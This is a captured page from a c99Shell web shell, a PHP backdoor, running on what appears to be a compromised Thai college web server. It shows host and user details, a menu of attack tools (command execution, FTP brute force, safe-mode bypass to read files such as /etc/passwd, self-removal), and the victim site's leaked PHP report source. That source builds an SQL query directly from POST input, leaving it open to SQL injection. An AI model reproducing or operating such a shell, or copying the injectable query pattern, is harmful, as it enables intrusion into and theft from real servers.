!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/reportEregis111/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dataReport.php (4.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta name="viewport" content="width=device-width, initial-scale=1" charset="x-windows-874">
<link rel="stylesheet" href="css/pure-min.css">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
<link rel="stylesheet" href="/resources/demos/style.css">
<script src="https://code.jquery.com/jquery-1.12.4.js"></script>
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link rel="stylesheet"
          href="https://fonts.googleapis.com/css?family=Tangerine">
    <style>
      body {
        font-family: 'Kanit', sans-serif;
        font-size: 15px;
      }
	</style>
	
<script>
	$( function() {
		$( "#datepicker1" ).datepicker();
		$( "#datepicker2" ).datepicker();
	} );
</script>
<style type="text/css">
	@font-face {
		font-family: cha;
		src: url(/font/THSarabunNew.ttf);
	}
	html, body {
		padding:0px;
		margin:0px;
		height:100%;
		font-family: cha;
	}
</style>
<?php
$dateSet=date("Y")+543;
include_once("classes/Crud.php");
$crud = new Crud();
?>
<nav class="navbar navbar-light bg-info">
  <a class="navbar-brand" href="#"> 
    <img src="img_logo.png" width="40" height="40" alt=""> <font style="color:white; font-size:20px"> RepEis </font> <font style="color:white; font-size:10px"> www.knc.ac.th </font>
  </a>
</nav>
<br>
<h4 align="center"><font color="blue">รายงานการให้คำปรึกษารายอาจารย์(ค้นจากช่วงเวลา)</font></h4>
<form name="senData" method="post" action="" class="pure-form">
	<div align="center">วัน เดือน ปี :: <input type="text" id="datepicker1" name="proDate1" required >  ถึง  วัน เดือน ปี :: <input type="text" id="datepicker2" name="proDate2" required >   <button class="pure-button" name="btnSearch">ค้นหาข้อมูล</button></div>
</form>
	<?php
	if($_POST['proDate1']!="" && $_POST['proDate2']!=""  ){
	$proDate1=date('Y-m-d 00:00:00',strtotime( $_POST['proDate1']));
	$proDate2=date('Y-m-d 23:59:00',strtotime( $_POST['proDate2']));
	$no = 1;
	$dataPoints = array();
	$query = "SELECT COUNT(id) AS ch,userID,nameTeacher FROM consulting WHERE proDate BETWEEN '$proDate1' AND '$proDate2' GROUP BY userID ORDER BY nameTeacher ASC , ch DESC";
	$result = $crud->getData($query);

	?>
<center>
	<h3>ตั้งแต่วันที่ <?=DateThaiTime($proDate1)?>  ถึง  วันที่ <?=DateThaiTime($proDate2)?></h3>
	<table class="pure-table pure-table-bordered" width="100%">
		<thead>
		<tr>
			<th align="center" valign="middle"><center>ลำดับ</center></th>
			<th align="center" valign="middle">ชื่ออาจารย์</th>
			<th align="center" valign="middle"><center>ให้คำปรึกษา(ครั้ง)</center></th>
			<th align="center" valign="middle"><center>คิดเป็นร้อยละ</center></th>
			<th align="center" valign="middle"><center>ดูรายละเอียดการให้คำปรึกษา</center></th>
		</tr>
		</thead>
		<tbody>
		<?php
		foreach ($result as $key => $res) {
			?>
			<tr>
				<td align="center" valign="top"><?= $no ?></td>
				<td align="left" valign="top">อ.<?= $res['nameTeacher'] ?></td>
				<td align="center" valign="top"><?= $res['ch'] ?></td>
				<td align="center" valign="top"><?= number_format(($res['ch']/20)*100,2) ?></td>
				<td align="center" valign="top"><a href="javascript:window.open('detailData.php?id=<?=$res['userID']?>&prodate1=<?=$proDate1?>&prodate2=<?=$proDate2?>&name=<?=$res['nameTeacher']?>', 'yourWindowName', 'width=1024,height=500');"><img src="https://img.icons8.com/nolan/64/000000/business-contact.png" width="40" height="40"></a></td>
			</tr>
			<?php
			$no++;
		}
		?>

		</tbody>
	</table>
	<?php
	}else{
		echo "<h3 align='center'><font color='red'>ท่านยังไม่ได้เลือกช่วงเวลาในการดูข้อมูล</font> </h3>";
	}
	?>
</center>
<?php
function DateThaiTime($strDate)
{
	$strYear = date("Y",strtotime($strDate))+543;
	$strMonth= date("n",strtotime($strDate));
	$strDay= date("j",strtotime($strDate));
	//$strHour= date("H",strtotime($strDate));
	//$strMinute= date("i",strtotime($strDate));
	//$strSeconds= date("s",strtotime($strDate));
	$strMonthCut = Array("","ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
	$strMonthThai=$strMonthCut[$strMonth];
	return "$strDay $strMonthThai $strYear ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--